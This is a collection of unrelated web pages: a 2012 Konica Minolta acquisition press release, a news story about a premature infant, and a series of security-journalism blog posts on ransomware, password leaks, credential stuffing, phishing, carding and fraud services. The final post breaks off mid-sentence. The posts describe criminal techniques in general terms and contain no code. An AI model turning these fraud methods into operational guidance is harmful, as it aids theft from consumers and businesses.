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__label__cc	0.573863	0.426137	FIND SALES LOCATION Z6_H0261AK0LGOPD0AEF9UI5P0O80 Return to Acquisitions All Covered Acquires Managed IT Services Practices in Cleveland and Minneapolis Company on Track to Becoming the Largest IT Services Provider for Small Businesses in the United States Foster City, Calif. and Ramsey, N.J. – April 17, 2012 – All Covered, a division of Konica Minolta Business Solutions U.S.A Inc. (Konica Minolta) focused on delivering high‐performance IT Services to small‐ and medium‐sized businesses, is pleased to announce that Cleveland-based Thinsolutions and Minneapolis-based PC Solutions have joined All Covered. With the addition of these leading regional IT Services companies, All Covered continues to execute on its aggressive growth strategy to become the largest IT Services provider for small- and medium-sized businesses in the United States. "In the last two years we have expanded our footprint by adding 10 leading regional IT Services companies in key geographic areas," said Todd Croteau, President of All Covered. "By adding companies such as Thinsolutions and PC Solutions to our family, we can ensure that small and medium businesses around the country have access to experienced local systems engineers supported by a national IT Services organization. Customers can count on All Covered to provide them access to the same technology resources and vertical solution expertise that Fortune 500 companies have, but on a small business budget." Thinsolutions has been providing comprehensive IT solutions to commercial, financial services and manufacturing businesses in Northeast Ohio, Southeast Florida and Raleigh, North Carolina for over 15 years. The company offers specialized IT services for the legal community with expertise in document management and practice management software. Michael Fischer, CEO of Thinsolutions said, "All Covered and Konica Minolta were the right fit for us in terms of market vision and culture. We will be able to offer our customers a broad selection of vertical solutions to further streamline their business practices and improve productivity." Founded in 1972, PC Solutions is recognized as a leader in the Managed IT Services market providing strategic IT planning, management of on-premise and hosted servers, document management, and IT support and training to companies throughout Minnesota. PC Solutions employs IT best practices to help customers reduce their risk of data loss and systems interruption, while increasing employee productivity. Mark Berndt, President and CEO of PC Solutions commented, "From the first meeting with All Covered, it was clear that they are committed to the long-term success of their clients. By joining All Covered, we are able to offer our employees expanded opportunities and ensure that our clients have a trusted partner who will provide them with the IT Services and solutions to maintain a competitive edge." About All Covered All Covered, a division of Konica Minolta Business Services U.S.A., Inc., is the nation's leading IT services company serving small to medium‐sized businesses. All Covered was recently recognized for the fourth consecutive year as a top Managed IT Service Provider by MSPMentor. For over 14 years, All Covered has been helping businesses across all verticals with their IT support needs. All Covered has local offices in over 25 cities with more than 300 engineers, and is fully certified in all major technologies. Across the U.S., more businesses trust All Covered for their IT support than any other company Konica Minolta Business Solutions U.S.A., Inc. is a leader in advanced document management technologies and Managed IT Services for the desktop to the print shop. For the fifth consecutive year, Konica Minolta was recognized as the #1 Brand for Customer Loyalty in the MFP Office Copier Market by Brand Keys. BLI has named Konica Minolta 2012 "Document Imaging Solutions Line of the Year" and "A3 MFP Line of the Year" award winner for the company’s solution portfolio and award-winning line of bizhub Multifunctional Products. For more information, please visit www.CountOnKonicaMinolta.com and follow Konica Minolta on Facebook, YouTube, and Twitter. All Covered Contact Andreas Krebs All Covered, a division of Konica Minolta Business Solutions USA, Inc. akrebs@allcovered.com Konica Minolta Contact Alicia Libucha Konica Minolta Business Solutions U.S.A., Inc. alibucha@kmbs.konicaminolta.us Konica Minolta is a registered trademark of Konica Minolta Holdings, Inc. All other trademarks mentioned in this document are the property of their respective owners. Office Workgroup Shop Konica Minolta Predecessor Products PROKOM Business Innovation Center Receive emails from Konica Minolta Sign up to stay on top of new promotions, products and services relevant to your needs. Global Site: ©2020 Konica Minolta Business Solutions U.S.A., Inc.	cc/2020-05/en_middle_0032.json.gz/line7845
__label__cc	0.617626	0.382374	‘Miracle Baby’: One of the smallest premature infants ever heads home Posted 6:09 pm, April 11, 2019, by Tribune Media VALHALLA, N.Y. — After eight months in various hospitals, one of the smallest premature babies in the country is finally going home. Connor Florio is considered a “Miracle Baby.” When he was born in July at 26 weeks old, he weighed 11 ounces and could fit in the palm of your hand. After his parents, who live in Danbury, Conn., were told their child’s chance of survival was extremely low, they had Connor transferred to Maria Fareri Children’s Hospital's NICU in Westchester, New York. In December, when he was stable and weighing 6.6 pounds, Connor was admitted to Blythedale Children’s Hospital. He had several medical conditions, including chronic lung disease, and started intense occupational, physical and feeding therapy. "He got a lot of developmental care partly from us, but his family was almost here all the time and you can't beat that," said Dr. Dennis Davidson, Unit Chief for Blythedale's Infant and Toddler Unit. While doctors and nurses prescribed medical treatments, his parents John and Jaimie Florio provided love and a sense of humor. During the holidays, they dressed up Connor in costumes bought from Build-A-Bear, even though some of those outfits were still too big for the infant. "It kind of takes your mind off from being away from family and being in the hospital during the holidays, and just lets you have a lot of fun with it," said Jamie Florio. Connor progressed rapidly, and by early April he was thriving. He was finally dispatched from Blythedale this week and went home for the first time. He now weighs nearly 11 pounds, more than 10 times his birth weight. "It was definitely scary when he was born, but to now he's everything I expected him to be and more," John Florio said. Don’t kiss the baby: Warning issued to help prevent dangerous illness Identical twin babies delivered by identical twin nurses at Georgia hospital 2 children dead, father injured in south St. Louis house fire Military family welcomes birth of rainbow baby Newborn babies at a Pittsburgh hospital dressed up as Mr. Rogers for World Kindness Day Second child dead following weekend apartment fire; suspect in custody Florissant man faces additional charges, after teen dies from home intentionally set on fire First baby of the New year born at Mercy Hospital Child shot in North County Monday, back home safe 88-year-old Korean War veteran saves girl from dog attack with plastic Christmas decoration Body found in the investigation of missing mother Heidi Broussard, baby also found alive Driver becomes friends with cyclist he hit on highway, helps with his recovery	cc/2020-05/en_middle_0032.json.gz/line7854
__label__wiki	0.641589	0.641589	Posts Tagged: alex holden A Little Sunshine / Ransomware / The Coming Storm — 38 Comments The Hidden Cost of Ransomware: Wholesale Password Theft Organizations in the throes of cleaning up after a ransomware outbreak typically will change passwords for all user accounts that have access to any email systems, servers and desktop workstations within their network. But all too often, ransomware victims fail to grasp that the crooks behind these attacks can and frequently do siphon every single password stored on each infected endpoint. The result of this oversight may offer attackers a way back into the affected organization, access to financial and healthcare accounts, or — worse yet — key tools for attacking the victim’s various business partners and clients. In mid-November 2019, Wisconsin-based Virtual Care Provider Inc. (VCPI) was hit by the Ryuk ransomware strain. VCPI manages the IT systems for some 110 clients that serve approximately 2,400 nursing homes in 45 U.S. states. VCPI declined to pay the multi-million dollar ransom demanded by their extortionists, and the attack cut off many of those elder care facilities from their patient records, email and telephone service for days or weeks while VCPI rebuilt its network. Just hours after that story was published, VCPI chief executive and owner Karen Christianson reached out to say she hoped I would write a follow-up piece about how they recovered from the incident. My reply was that I’d consider doing so if there was something in their experience that I thought others could learn from their handling of the incident. I had no inkling at the time of how much I would learn in the days ahead. EERIE EMAILS On December 3, I contacted Christianson to schedule a follow-up interview for the next day. On the morning of Dec. 4 (less than two hours before my scheduled call with VCPI and more than two weeks after the start of their ransomware attack) I heard via email from someone claiming to be part of the criminal group that launched the Ryuk ransomware inside VCPI. That email was unsettling because its timing suggested that whoever sent it somehow knew I was going to speak with VCPI later that day. This person said they wanted me to reiterate a message they’d just sent to the owner of VCPI stating that their offer of a greatly reduced price for a digital key needed to unlock servers and workstations seized by the malware would expire soon if the company continued to ignore them. “Maybe you chat to them lets see if that works,” the email suggested. The anonymous individual behind that communication declined to provide proof that they were part of the group that held VPCI’s network for ransom, and after an increasingly combative and personally threatening exchange of messages soon stopped responding to requests for more information. “We were bitten with releasing evidence before hence we have stopped this even in our ransoms,” the anonymous person wrote. “If you want proof we have hacked T-Systems as well. You may confirm this with them. We havent [sic] seen any Media articles on this and as such you should be the first to report it, we are sure they are just keeping it under wraps.” Security news site Bleeping Computer reported on the T-Systems Ryuk ransomware attack on Dec. 3. In our Dec. 4 interview, VCPI’s acting chief information security officer — Mark Schafer, CISO at Wisconsin-based SVA Consulting — confirmed that the company received a nearly identical message that same morning, and that the wording seemed “very similar” to the original extortion demand the company received. However, Schafer assured me that VCPI had indeed rebuilt its email network following the intrusion and strictly used a third-party service to discuss remediation efforts and other sensitive topics. Continue reading → Data Breaches / Ransomware / The Coming Storm — 95 Comments 110 Nursing Homes Cut Off from Health Records in Ransomware Attack A ransomware outbreak has besieged a Wisconsin based IT company that provides cloud data hosting, security and access management to more than 100 nursing homes across the United States. The ongoing attack is preventing these care centers from accessing crucial patient medical records, and the IT company’s owner says she fears this incident could soon lead not only to the closure of her business, but also to the untimely demise of some patients. Milwaukee, Wisc. based Virtual Care Provider Inc. (VCPI) provides IT consulting, Internet access, data storage and security services to some 110 nursing homes and acute-care facilities in 45 states. All told, VCPI is responsible for maintaining approximately 80,000 computers and servers that assist those facilities. At around 1:30 a.m. CT on Nov. 17, unknown attackers launched a ransomware strain known as Ryuk inside VCPI’s networks, encrypting all data the company hosts for its clients and demanding a whopping $14 million ransom in exchange for a digital key needed to unlock access to the files. Ryuk has made a name for itself targeting businesses that supply services to other companies — particularly cloud-data firms — with the ransom demands set according to the victim’s perceived ability to pay. In an interview with KrebsOnSecurity today, VCPI chief executive and owner Karen Christianson said the attack had affected virtually all of their core offerings, including Internet service and email, access to patient records, client billing and phone systems, and even VCPI’s own payroll operations that serve nearly 150 company employees. The care facilities that VCPI serves access their records and other systems outsourced to VCPI by using a Citrix-based virtual private networking (VPN) platform, and Christianson said restoring customer access to this functionality is the company’s top priority right now. “We have employees asking when we’re going to make payroll,” Christianson said. “But right now all we’re dealing with is getting electronic medical records back up and life-threatening situations handled first.” Christianson said her firm cannot afford to pay the ransom amount being demanded — roughly $14 million worth of Bitcoin — and said some clients will soon be in danger of having to shut their doors if VCPI can’t recover from the attack. “We’ve got some facilities where the nurses can’t get the drugs updated and the order put in so the drugs can arrive on time,” she said. “In another case, we have this one small assisted living place that is just a single unit that connects to billing. And if they don’t get their billing into Medicaid by December 5, they close their doors. Seniors that don’t have family to go to are then done. We have a lot of [clients] right now who are like, ‘Just give me my data,’ but we can’t.” Continue reading → Retailer Orvis.com Leaked Hundreds of Internal Passwords on Pastebin Orvis, a Vermont-based retailer that specializes in high-end fly fishing equipment and other sporting goods, leaked hundreds of internal passwords on Pastebin.com for several weeks last month, exposing credentials the company used to manage everything from firewalls and routers to administrator accounts and database servers, KrebsOnSecurity has learned. Orvis says the exposure was inadvertent, and that many of the credentials were already expired. Based in Sunderland, VT. and founded in 1856, privately-held Orvis is the oldest mail-order retailer in the United States. The company has approximately 1,700 employees, 69 retail stores and 10 outlets in the US, and 18 retail stores in the UK. In late October, this author received a tip from Wisconsin-based security firm Hold Security that a file containing a staggering number of internal usernames and passwords for Orvis had been posted to Pastebin. Reached for comment about the source of the document, Orvis spokesperson Tucker Kimball said it was only available for a day before the company had it removed from Pastebin. “The file contains old credentials, so many of the devices associated with the credentials are decommissioned and we took steps to address the remaining ones,” Kimball said. “We are leveraging our existing security tools to conduct an investigation to determine how this occurred.” However, according to Hold Security founder Alex Holden, this enormous passwords file was actually posted to Pastebin on two separate occasions last month, the first being on Oct. 4, and the second Oct. 22. That finding was corroborated by 4iq.com, a company that aggregates information from leaked databases online. Orvis did not respond to follow-up requests for comment via phone and email; the last two email messages sent by KrebsOnSecurity to Orvis were returned simply as “blocked.” It’s not unusual for employees or contractors to post bits of sensitive data to public sites like Pastebin and Github, but the credentials file apparently published by someone working at or for Orvis is by far the most extreme example I’ve ever witnessed. For instance, included in the Pastebin files from Orvis were plaintext usernames and passwords for just about every kind of online service or security product the company has used, including: -Antivirus engines -Data backup services -Multiple firewall products -Linux servers -Cisco routers -Netflow data -Call recording services -DNS controls -Orvis wireless networks (public and private) -Employee wireless phone services -Oracle database servers -Microsoft 365 services -Microsoft Active Directory accounts and passwords -Battery backup systems -Security cameras -Encryption certificates -Mobile payment services -Door and Alarm Codes -FTP credentials -Apple ID credentials -Door controllers By all accounts, this was a comprehensive goof: The Orvis credentials file even contained the combination to a locked safe in the company’ server room. Continue reading → A Little Sunshine / Data Breaches — 39 Comments iNSYNQ Ransom Attack Began With Phishing Email A ransomware outbreak that hit QuickBooks cloud hosting firm iNSYNQ in mid-July appears to have started with an email phishing attack that snared an employee working in sales for the company, KrebsOnSecurity has learned. It also looks like the intruders spent roughly ten days rooting around iNSYNQ’s internal network to properly stage things before unleashing the ransomware. iNSYNQ ultimately declined to pay the ransom demand, and it is still working to completely restore customer access to files. Some of this detail came in a virtual “town hall” meeting held August 8, in which iNSYNQ chief executive Elliot Luchansky briefed customers on how it all went down, and what the company is doing to prevent such outages in the future. A great many iNSYNQ’s customers are accountants, and when the company took its network offline on July 16 in response to the ransomware outbreak, some of those customers took to social media to complain that iNSYNQ was stonewalling them. “We could definitely have been better prepared, and it’s totally unacceptable,” Luchansky told customers. “I take full responsibility for this. People waiting ridiculous amounts of time for a response is unacceptable.” By way of explaining iNSYNQ’s initial reluctance to share information about the particulars of the attack early on, Luchansky told customers the company had to assume the intruders were watching and listening to everything iNSYNQ was doing to recover operations and data in the wake of the ransomware outbreak. “That was done strategically for a good reason,” he said. “There were human beings involved with [carrying out] this attack in real time, and we had to assume they were monitoring everything we could say. And that posed risks based on what we did say publicly while the ransom negotiations were going on. It could have been used in a way that would have exposed customers even more. That put us in a really tough bind, because transparency is something we take very seriously. But we decided it was in our customers’ best interests to not do that.” A paid ad that comes up prominently when one searches for “insynq” in Google. Luchansky did not say how much the intruders were demanding, but he mentioned two key factors that informed the company’s decision not to pay up. “It was a very substantial amount, but we had the money wired and were ready to pay it in cryptocurrency in the case that it made sense to do so,” he told customers. “But we also understood [that paying] would put a target on our heads in the future, and even if we actually received the decryption key, that wasn’t really the main issue here. Because of the quick reaction we had, we were able to contain the encryption part” to roughly 50 percent of customer systems, he said. Luchansky said the intruders seeded its internal network with MegaCortex, a potent new ransomware strain first spotted just a couple of months ago that is being used in targeted attacks on enterprises. He said the attack appears to have been carefully planned out in advance and executed “with human intervention all the way through.” “They decided they were coming after us,” he said. “It’s one thing to prepare for these sorts of events but it’s an entirely different experience to deal with first hand.” According to an analysis of MegaCortex published this week by Accenture iDefense, the crooks behind this ransomware strain are targeting businesses — not home users — and demanding ransom payments in the range of two to 600 bitcoins, which is roughly $20,000 to $5.8 million. “We are working for profit,” reads the ransom note left behind by the latest version of MegaCortex. “The core of this criminal business is to give back your valuable data in the original form (for ransom of course).” A portion of the ransom note left behind by the latest version of MegaCortex. Image: Accenture iDefense. Latest Warnings / The Coming Storm — 119 Comments The Risk of Weak Online Banking Passwords If you bank online and choose weak or re-used passwords, there’s a decent chance your account could be pilfered by cyberthieves — even if your bank offers multi-factor authentication as part of its login process. This story is about how crooks increasingly are abusing third-party financial aggregation services like Mint, Plaid, Yodlee, YNAB and others to surveil and drain consumer accounts online. Crooks are constantly probing bank Web sites for customer accounts protected by weak or recycled passwords. Most often, the attacker will use lists of email addresses and passwords stolen en masse from hacked sites and then try those same credentials to see if they permit online access to accounts at a range of banks. A screenshot of a password-checking tool being used to target Chase Bank customers who re-use passwords from other sites. Image: Hold Security. From there, thieves can take the list of successful logins and feed them into apps that rely on application programming interfaces (API)s from one of several personal financial data aggregators which help users track their balances, budgets and spending across multiple banks. A number of banks that do offer customers multi-factor authentication — such as a one-time code sent via text message or an app — have chosen to allow these aggregators the ability to view balances and recent transactions without requiring that the aggregator service supply that second factor. That’s according to Brian Costello, vice president of data strategy at Yodlee, one of the largest financial aggregator platforms. Costello said while some banks have implemented processes which pass through multi-factor authentication (MFA) prompts when consumers wish to link aggregation services, many have not. “Because we have become something of a known quantity with the banks, we’ve set up turning off MFA with many of them,” Costello said. “Many of them are substituting coming from a Yodlee IP or agent as a factor because banks have historically been relying on our security posture to help them out.” Such reconnaissance helps lay the groundwork for further attacks: If the thieves are able to access a bank account via an aggregator service or API, they can view the customer’s balance(s) and decide which customers are worthy of further targeting. This targeting can occur in at least one of two ways. The first involves spear phishing attacks to gain access to that second authentication factor, which can be made much more convincing once the attackers have access to specific details about the customer’s account — such as recent transactions or account numbers (even partial account numbers). The second is through an unauthorized SIM swap, a form of fraud in which scammers bribe or trick employees at mobile phone stores into seizing control of the target’s phone number and diverting all texts and phone calls to the attacker’s mobile device. But beyond targeting customers for outright account takeovers, the data available via financial aggregators enables a far more insidious type of fraud: The ability to link the target’s bank account(s) to other accounts that the attackers control. That’s because PayPal, Zelle, and a number of other pure-play online financial institutions allow customers to link accounts by verifying the value of microdeposits. For example, if you wish to be able to transfer funds between PayPal and a bank account, the company will first send a couple of tiny deposits — a few cents, usually — to the account you wish to link. Only after verifying those exact amounts will the account-linking request be granted. Continue reading → Party Like a Russian, Carder’s Edition “It takes a certain kind of man with a certain reputation To alleviate the cash from a whole entire nation…” KrebsOnSecurity has seen some creative yet truly bizarre ads for dodgy services in the cybercrime underground, but the following animated advertisement for a popular credit card fraud shop likely takes the cake. The name of this particular card shop won’t be mentioned here, and its various domain names featured in the video have been pixelated so as not to further promote the online store in question. But points for knowing your customers, and understanding how to push emotional buttons among a clientele that mostly views America’s financial system as one giant ATM that never seems to run out of cash. WARNING: Some viewers may find this video disturbing. Also, it is almost certainly Not Safe for Work. The above commercial is vaguely reminiscent of the slick ads produced for and promoted by convicted Ukrainian credit card fraudster Vladislav “BadB” Horohorin, who was sentenced in 2013 to serve 88 months in prison for his role in the theft of more than $9 million from RBS Worldpay, an Atlanta-based credit card processor. (In February 2017, Horohorin was released and deported from the United States. He now works as a private cybersecurity consultant). The clip above is loosely based on the 2016 music video, “Party Like a Russian,” produced by British singer-songwriter Robbie Williams. Tip of the hat to Alex Holden of Hold Security for finding and sharing this video. ‘Land Lordz’ Service Powers Airbnb Scams Scammers who make a living swindling Airbnb.com customers have a powerful new tool at their disposal: A software-as-a-service offering called “Land Lordz,” which helps automate the creation and management of fake Airbnb Web sites and the sending of messages to advertise the fraudulent listings. The ne’er-do-well who set up the account below has been paying $550 a month for a Land Lordz “basic plan” subscription at landlordz[.]site that helps him manage more than 500 scam properties and interactions with up to 100 (soon-to-be-scammed) “guests” looking to book the fake listings. Currently, this scammer has just four dozen listings, virtually all of which are for properties in London and the surrounding United Kingdom. The Land Lordz administrative panel for a scammer who’s running dozens of Airbnb scams in the United Kingdom. Your typical victim will respond to an advertisement for a listing provided at Airbnb.com, and be assured they can pay through Airbnb, which offers buyer protection and refunds for unhappy customers. But when the interested party inquires about the listing, they are sent a link to a site that looks like Airbnb.com but which is actually a phishing page. In the case of these particular fraudsters, their fake page was “airbnb.longterm-airbnb[.]co[.]uk” (I’ve added brackets to prevent the link from being clickable). The site looks exactly like the real Airbnb, includes pictures of the requested property, and steers visitors toward signing in or to creating a new account. The fake site simply forwards all requests on this page to Airbnb.com, and records any usernames and passwords submitted through the site. The fake Airbnb site used by the scammers logged all Airbnb credentials submitted by new and existing users. A Little Sunshine / Breadcrumbs / Ne'er-Do-Well News — 67 Comments 773M Password ‘Megabreach’ is Years Old My inbox and Twitter messages positively lit up today with people forwarding stories from Wired and other publications about a supposedly new trove of nearly 773 million unique email addresses and 21 million unique passwords that were posted to a hacking forum. A story in The Guardian breathlessly dubbed it “the largest collection ever of breached data found.” But in an interview with the apparent seller, KrebsOnSecurity learned that it is not even close to the largest gathering of stolen data, and that it is at least two to three years old. The dump, labeled “Collection #1” and approximately 87GB in size, was first detailed earlier today by Troy Hunt, who operates the HaveIBeenPwned breach notification service. Hunt said the data cache was likely “made up of many different individual data breaches from literally thousands of different sources.” KrebsOnSecurity sought perspective on this discovery from Alex Holden, CTO of Hold Security, a company that specializes in trawling underground spaces for intelligence about malicious actors and their stolen data dumps. Holden said the data appears to have first been posted to underground forums in October 2018, and that it is just a subset of a much larger tranche of passwords being peddled by a shadowy seller online. Here’s a screenshot of a subset of that seller’s current offerings, which total almost 1 Terabyte of stolen and hacked passwords: The 87GB “Collection1” archive is one of but many similar tranches of stolen passwords being sold by a particularly prolific ne’er-do-well in the underground. As we can see above, Collection #1 offered by this seller is indeed 87GB in size. He also advertises a Telegram username where he can be reached — “Sanixer.” So, naturally, KrebsOnSecurity contacted Sanixer via Telegram to find out more about the origins of Collection #1, which he is presently selling for the bargain price of just $45. Sanixer said Collection#1 consists of data pulled from a huge number of hacked sites, and was not exactly his “freshest” offering. Rather, he sort of steered me away from that archive, suggesting that — unlike most of his other wares — Collection #1 was at least 2-3 years old. His other password packages, which he said are not all pictured in the above screen shot and total more than 4 terabytes in size, are less than a year old, Sanixer explained. By way of explaining the provenance of Collection #1, Sanixer said it was a mix of “dumps and leaked bases,” and then he offered an interesting screen shot of his additional collections. Click on the image below and notice the open Web browser tab behind his purloined password trove (which is apparently stored at Mega.nz): Troy Hunt’s published research on this 773 million Collection #1. Sanixer says Collection #1 was from a mix of sources. A description of those sources can be seen in the directory tree on the left side of this screenshot. Holden said the habit of collecting large amounts of credentials and posting it online is not new at all, and that the data is far more useful for things like phishing, blackmail and other indirect attacks — as opposed to plundering inboxes. Holden added that his company had already derived 99 percent of the data in Collection #1 from other sources. “It was popularized several years ago by Russian hackers on various Dark Web forums,” he said. “Because the data is gathered from a number of breaches, typically older data, it does not present a direct danger to the general user community. Its sheer volume is impressive, yet, by account of many hackers the data is not greatly useful.” A core reason so many accounts get compromised is that far too many people have the nasty habit(s) of choosing poor passwords, re-using passwords and email addresses across multiple sites, and not taking advantage of multi-factor authentication options when they are available. If this Collection #1 has you spooked, changing your password(s) certainly can’t hurt — unless of course you’re in the habit of re-using passwords. Please don’t do that. As we can see from the offering above, your password is probably worth way more to you than it is to cybercriminals (in the case of Collection #1, just .000002 cents per password). Continue reading → Security Tools / The Coming Storm — 61 Comments In a Few Days, Credit Freezes Will Be Fee-Free Later this month, all of the three major consumer credit bureaus will be required to offer free credit freezes to all Americans and their dependents. Maybe you’ve been holding off freezing your credit file because your home state currently charges a fee for placing or thawing a credit freeze, or because you believe it’s just not worth the hassle. If that accurately describes your views on the matter, this post may well change your mind. A credit freeze — also known as a “security freeze” — restricts access to your credit file, making it far more difficult for identity thieves to open new accounts in your name. Currently, many states allow the big three bureaus — Equifax, Experian and TransUnion — to charge a fee for placing or lifting a security freeze. But thanks to a federal law enacted earlier this year, after Sept. 21, 2018 it will be free to freeze and unfreeze your credit file and those of your children or dependents throughout the United States. KrebsOnSecurity has for many years urged readers to freeze their files with the big three bureaus, as well as with a distant fourth — Innovis — and the NCTUE, an Equifax-operated credit checking clearinghouse relied upon by most of the major mobile phone providers. There are dozens of private companies that specialize in providing consumer credit reports and scores to specific industries, including real estate brokers, landlords, insurers, debt buyers, employers, banks, casinos and retail stores. A handy PDF produced earlier this year by the Consumer Financial Protection Bureau (CFPB) lists all of the known entities that maintain, sell or share credit data on U.S. citizens. The CFPB’s document includes links to Web sites for 46 different consumer credit reporting entities, along with information about your legal rights to obtain data in your reports and dispute suspected inaccuracies with the companies as needed. My guess is the vast majority of Americans have never heard of most of these companies. Via numerous front-end Web sites, each of these mini credit bureaus serve thousands or tens of thousands of people who work in the above mentioned industries and who have the ability to pull credit and other personal data on Americans. In many cases, online access to look up data through these companies is secured by nothing more than a username and password that can be stolen or phished by cybercrooks and abused to pull privileged information on consumers. In other cases, it’s trivial for anyone to sign up for these services. For example, how do companies that provide background screening and credit report data to landlords decide who can sign up as a landlord? Answer: Anyone can be a landlord (or pretend to be one). SCORE ONE FOR FREEZES The truly scary part? Access to some of these credit lookup services is supposed to be secured behind a login page, but often isn’t. Consider the service pictured below, which for $44 will let anyone look up the credit score of any American who hasn’t already frozen their credit files with the big three. Worse yet, you don’t even need to have accurate information on a target — such as their Social Security number or current address. KrebsOnSecurity was made aware of this particular portal by Alex Holden, CEO of Milwaukee, Wisc.-based cybersecurity firm Hold Security LLC [full disclosure: This author is listed as an adviser to Hold Security, however this is and always has been a volunteer role for which I have not been compensated]. Holden’s wife Lisa is a mortgage broker, and as such she has access to a more full-featured version of the above-pictured consumer data lookup service (among others) for the purposes of helping clients determine a range of mortgage rates available. Mrs. Holden said the version of this service that she has access to will return accurate, current and complete credit file information on consumers even if one enters a made-up SSN and old address on an individual who hasn’t yet frozen their credit files with the big three. “I’ve noticed in the past when I do a hard pull on someone’s credit report and the buyer gave me the wrong SSN or transposed some digits, not only will these services give me their credit report and full account history, it also tells you what their correct SSN is,” Mrs. Holden said. With Mr. Holden’s permission, I gave the site pictured above an old street address for him plus a made-up SSN, and provided my credit card number to pay for the report. The document generated by that request said TransUnion and Experian were unable to look up his credit score with the information provided. However, Equifax not only provided his current credit score, it helpfully corrected the false data I entered for Holden, providing the last four digits of his real SSN and current address. “We assume our credit report is keyed off of our SSN or something unique about ourselves,” Mrs. Holden said. “But it’s really keyed off your White Pages information, meaning anyone can get your credit report if they are in the know.” I was pleased to find that I was unable to pull my own credit score through this exposed online service, although the site still charged me $44. The report produced simply said the consumer in question had requested that access to this information be restricted. But the real reason was simply that I’ve had my credit file frozen for years now. Many media outlets are publishing stories this week about the one-year anniversary of the breach at Equifax that exposed the personal and financial data on more than 147 million people. But it’s important for everyone to remember that as bad as the Equifax breach was (and it was a total dumpster fire all around), most of the consumer data exposed in the breach has been for sale in the cybercrime underground for many years on a majority of Americans — including access to consumer credit reports. If anything, the Equifax breach may have simply helped ID thieves refresh some of those criminal data stores. It costs $35 worth of bitcoin through this cybercrime service to pull someone’s credit file from the three major credit bureaus. There are many services just like this one, which almost certainly abuse hacked accounts from various industries that have “legitimate” access to consumer credit reports. A Little Sunshine / Latest Warnings / Tax Refund Fraud / Web Fraud 2.0 — 68 Comments When Identity Thieves Hack Your Accountant The Internal Revenue Service has been urging tax preparation firms to step up their cybersecurity efforts this year, warning that identity thieves and hackers increasingly are targeting certified public accountants (CPAs) in a bid to siphon oodles of sensitive personal and financial data on taxpayers. This is the story of a CPA in New Jersey whose compromise by malware led to identity theft and phony tax refund requests filed on behalf of his clients. Last month, KrebsOnSecurity was alerted by security expert Alex Holden of Hold Security about a malware gang that appears to have focused on CPAs. The crooks in this case were using a Web-based keylogger that recorded every keystroke typed on the target’s machine, and periodically uploaded screenshots of whatever was being displayed on the victim’s computer screen at the time. If you’ve never seen one of these keyloggers in action, viewing their output can be a bit unnerving. This particular malware is not terribly sophisticated, but nevertheless is quite effective. It not only grabs any data the victim submits into Web-based forms, but also captures any typing — including backspaces and typos as we can see in the screenshot below. The malware records everything its victims type (including backspaces and typos), and frequently takes snapshots of the victim’s computer screen. Whoever was running this scheme had all victim information uploaded to a site that was protected from data scraping by search engines, but the site itself did not require any form of authentication to view data harvested from victim PCs. Rather, the stolen information was indexed by victim and ordered by day, meaning anyone who knew the right URL could view each day’s keylogging record as one long image file. Those records suggest that this particular CPA — “John,” a New Jersey professional whose real name will be left out of this story — likely had his computer compromised sometime in mid-March 2018 (at least, this is as far back as the keylogging records go for John). It’s also not clear exactly which method the thieves used to get malware on John’s machine. Screenshots for John’s account suggest he routinely ignored messages from Microsoft and other third party Windows programs about the need to apply critical security updates. Messages like this one — about critical security updates available for QuickBooks — went largely ignored, according to multiple screenshots from John’s computer. More likely, however, John’s computer was compromised by someone who sent him a booby-trapped email attachment or link. When one considers just how frequently CPAs must need to open Microsoft Office and other files submitted by clients and potential clients via email, it’s not hard to imagine how simple it might be for hackers to target and successfully compromise your average CPA. The keylogging malware itself appears to have been sold (or perhaps directly deployed) by a cybercriminal who uses the nickname ja_far. This individual markets a $50 keylogger product alongside a malware “crypting” service that guarantees his malware will be undetected by most antivirus products for a given number of days after it is used against a victim. Ja_far’s sales threads for the keylogger used to steal tax and financial data from hundreds of John’s clients. It seems likely that ja_far’s keylogger was the source of this data because at one point — early in the morning John’s time — the attacker appears to have accidentally pasted ja_far’s jabber instant messenger address into the victim’s screen instead of his own. In all likelihood, John’s assailant was seeking additional crypting services to ensure the keylogger remained undetected on John’s PC. A couple of minutes later, the intruder downloaded a file to John’s PC from file-sharing site sendspace.com. The attacker apparently messing around on John’s computer while John was not sitting in front of the keyboard. What I found remarkable about John’s situation was despite receiving notice after notice that the IRS had rejected many of his clients’ tax returns because those returns had already been filed by fraudsters, for at least two weeks John does not appear to have suspected that his compromised computer was likely the source of said fraud inflicted on his clients (or if he did, he didn’t share this notion with any of his friends or family via email). Instead, John composed and distributed to his clients a form letter about their rejected returns, and another letter that clients could use to alert the IRS and New Jersey tax authorities of suspected identity fraud. Continue reading →	cc/2020-05/en_middle_0032.json.gz/line7855
__label__cc	0.530485	0.469515	Posts Tagged: atlanta alliance Donkey Express: Mules Take Over the Mail This blog has featured several stories on reshipping scams, which recruit willing or unwitting U.S. citizens (“mules”) to reship abroad pricey items that are paid for with stolen credit cards. Today’s post highlights a critical component of this scheme: the black-market sale of international shipping labels fraudulently purchased from the U.S. Postal Service. A service that automates creation of carded USPS labels. USPS labels that are purchased via card fraud, known in the Underweb as simply “cc labels,” are an integral part of any reshipping scheme. So it should be no surprise that the leading proprietors in this obscure market run Atlanta Alliance, one of the largest and most established criminal reshipping rackets in the underground. The service, at fe-ccshop.com, makes it simple for any reshipping scam operator to purchase international shipping labels at a fraction of their actual cost. For example, USPS Express Mail International labels for items 20 pounds or less that are headed from the United States to Russia start at about $75, but this service sells them for just $14. The same label for an item that weighs 25 pounds would cost upwards of $150 at the Post Office, but can be had through this service for just $19. Customers fund their accounts with a virtual currency such as Liberty Reserve, and then enter the reshipping mule’s address in the “from” section and the fraudster’s in the “to:” field. Clicking the “make label” button causes the label to be paid for with a stolen credit card, and lets the customer print or save digital images of usable and new USPS international shipping labels. Call Centers for Computer Criminals A call service that catered to bank and identity thieves has been busted up by U.S. and international authorities. The takedown provides a fascinating glimpse into a bustling and relatively crowded niche of fraud services in the criminal hacker underground. In an indictment unsealed on Monday, New York authorities said two Belarusian nationals suspected of operating a rent-a-fraudster service called Callservice.biz were arrested overseas. Wired.com’s Kim Zetter has the lowdown: According to the indictment (.pdf), the two entrepreneurs launched the site in Lithuania in June 2007 and filled a much-needed niche in the criminal world — providing English- and German-speaking “stand-ins” to help crooks thwart bank security screening measures. In order to conduct certain transactions — such as initiating wire transfers, unblocking accounts or changing the contact information on an account — some financial institutions require the legitimate account holder to authorize the transaction by phone. Thieves could provide the stolen account information and biographical information of the account holder to CallService.biz, along with instructions about what needed to be authorized. The biographical information sometimes included the account holder’s name, address, Social Security number, e-mail address and answers to security questions the 